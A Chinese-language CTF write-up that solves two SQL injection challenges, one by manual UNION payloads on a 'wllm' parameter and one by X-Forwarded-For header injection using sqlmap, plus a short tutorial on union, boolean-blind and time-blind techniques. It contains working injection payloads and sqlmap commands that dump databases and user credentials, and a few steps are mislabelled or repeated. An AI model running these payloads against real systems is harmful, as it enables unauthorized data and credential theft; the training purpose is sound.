1、[SWPUCTF 2021 新生赛]easy_sql
查看源码,得知了需要传的参数是wllm,尝试验证。
回显了用户名和密码。
sql注入步骤:
1、发现潜在的注入点:
攻击者首先需要找到可能存在SQL注入的地方,这通常是通过输入字段(如登录表单、搜索框、URL参数等)。通过尝试输入一些特殊字符(如单引号、双引号、分号等),攻击者可以观察应用程序的响应以判断是否存在SQL注入漏洞。
2、验证注入点:
一旦发现潜在的注入点,攻击者会进一步验证是否可以插入SQL代码。常见的测试方法是输入一些SQL片段,查看应用程序的响应。
3、判断注入类型:
一、判断数字或字符型:
在输入字段中输入id=1 and 1=1 和id=1 and 1=2,观察页面是否报错,若不报错则是字符型注入,若报错就是数字型注入。
二、判断联合查询注入
原理:使用 UNION
运算符将攻击者的查询结果与原查询结果合并,从而获取数据库中的其他数据。
判断方法:
- 在输入字段中使用
UNION SELECT
语句。
SELECT username, password FROM users WHERE username = 'admin' UNION SELECT null, null, version() --';
如果返回带有攻击者查询结果的页面,可能包含数据库版本、当前用户等信息。
三、判断布尔盲注(Boolean-Based Blind SQL Injection)
原理:通过发送SQL查询观察响应的变化,推断出数据库的内容。使用布尔表达式返回不同的结果。
SELECT * FROM users WHERE username = 'admin' AND 1=1 --'; SELECT * FROM users WHERE username = 'admin' AND 1=2 --';
如果 1=1
返回正常页面而 1=2
返回错误页面,则表明存在布尔盲注漏洞。
四、判断时间盲注(Time-Based Blind SQL Injection)
原理:通过引入时间延迟函数,使数据库在执行查询时延迟响应。根据响应时间推断出数据库的内容。
判断方法:
使用时间延迟函数测试响应时间。
SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0) --'; SELECT * FROM users WHERE username = 'admin' AND IF(1=2, SLEEP(5), 0) --';
响应:
如果 1=1
使响应延迟,而 1=2
没有延迟,则表明存在时间盲注漏洞。
4、猜解字段数
通常可以使用order by或者union select来判断
1' UNION SELECT 1,2--
5、获取当前数据库
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
6、获取表名和字段名
表名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
这道题在我们判断出注入点后可以开始判断注入类型,尝试判断注入方式,分别尝试
id=1 and 1=1 和id=1 and 1=2,回显页面正常不报错,证明是字符型注入。接下来需要判断字段数,尝试输入 wllm=1' union select 1,2--+
回显字段数不正确,再次尝试
说明有3列,接下来尝试获取数据库。
wllm=-1' union select 1, 2, database()--+
发现一个test_db的表,尝试查看字段名:
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
接下来可以查看里面的内容:
wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
看到了flag字段,查看:
-1' union select 1,2,group_concat(id,flag) from test_tb--+
2、X-Forwarded-For注入漏洞实战
X-Forwarded-For:
是一个HTTP头部字段,用于识别通过代理或负载均衡器连接到Web服务器的客户端的原始IP地址。这个字段通常用于记录和追踪客户端的真实IP地址,而不是代理服务器的IP地址。
X-Forwarded-For的使用:
当客户端请求通过一个或多个代理服务器时,每个代理服务器都会在 X-Forwarded-For
头部字段中添加客户端的IP地址。该字段的值是一个由逗号分隔的IP地址列表,最左边的IP地址是原始客户端的IP地址,最右边的IP地址是最接近Web服务器的代理服务器的IP地址。
如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:
X-Forwarded-For: IP0, IP1, IP2
打开题目是一个登录框,题目又有提示,应该考察sql注入的知识点。这个题感觉和考核的sql有点像,尝试抓包
参考其他wp,提示是xxf注入,抓包后没有X-Forwarded-For:,但是数据报中有ip,尝试添加X-Forwarded-For:,添加X-Forwarded-For:0.0.0.0查看回显
得到回显后复制到虚拟机使用sqlmap
sqlmap使用:
打开sqlmap进行操作:
sqlmap -r '/home/dundundun/Desktop/a.txt' --current-db --batch --threads 10
sqlmap
: 调用sqlmap工具。-r "/root/1.txt"
: 指定包含HTTP请求的文件路径。这个文件通常包含整个HTTP请求,包括头部、参数和Cookies等。--current-db
: 这个选项告诉sqlmap只获取当前数据库的名称。--batch
: 以批处理模式运行,不需要用户交互。适用于自动化执行或脚本化的场景。--threads 10
: 使用10个线程进行并发测试,以提高速度。
得到了数据库名称为webcalender,继续扫描。
sqlmap -r '/home/dundundun/Desktop/a.txt' -D webcalendar --tables --batch --threads 10
得到了两个库名,查看user。
sqlmap -r '/home/dundundun/Desktop/a.txt'-D webcalendar -T user --columns --batch --threads 10
得到了登录密码账号
总结:
要判断SQL注入类型,可以使用以下步骤:
- 输入单引号:观察是否有错误信息,初步判断是否存在SQL注入。
- 测试简单的布尔条件:如
' OR 1=1 --
和' OR 1=2 --
,判断是否有响应变化。 - 尝试联合查询:如
' UNION SELECT null, null, null --
,查看是否返回额外数据。 - 使用时间盲注:如
' AND IF(1=1, SLEEP(5), 0) --
,通过响应时间判断是否存在注入。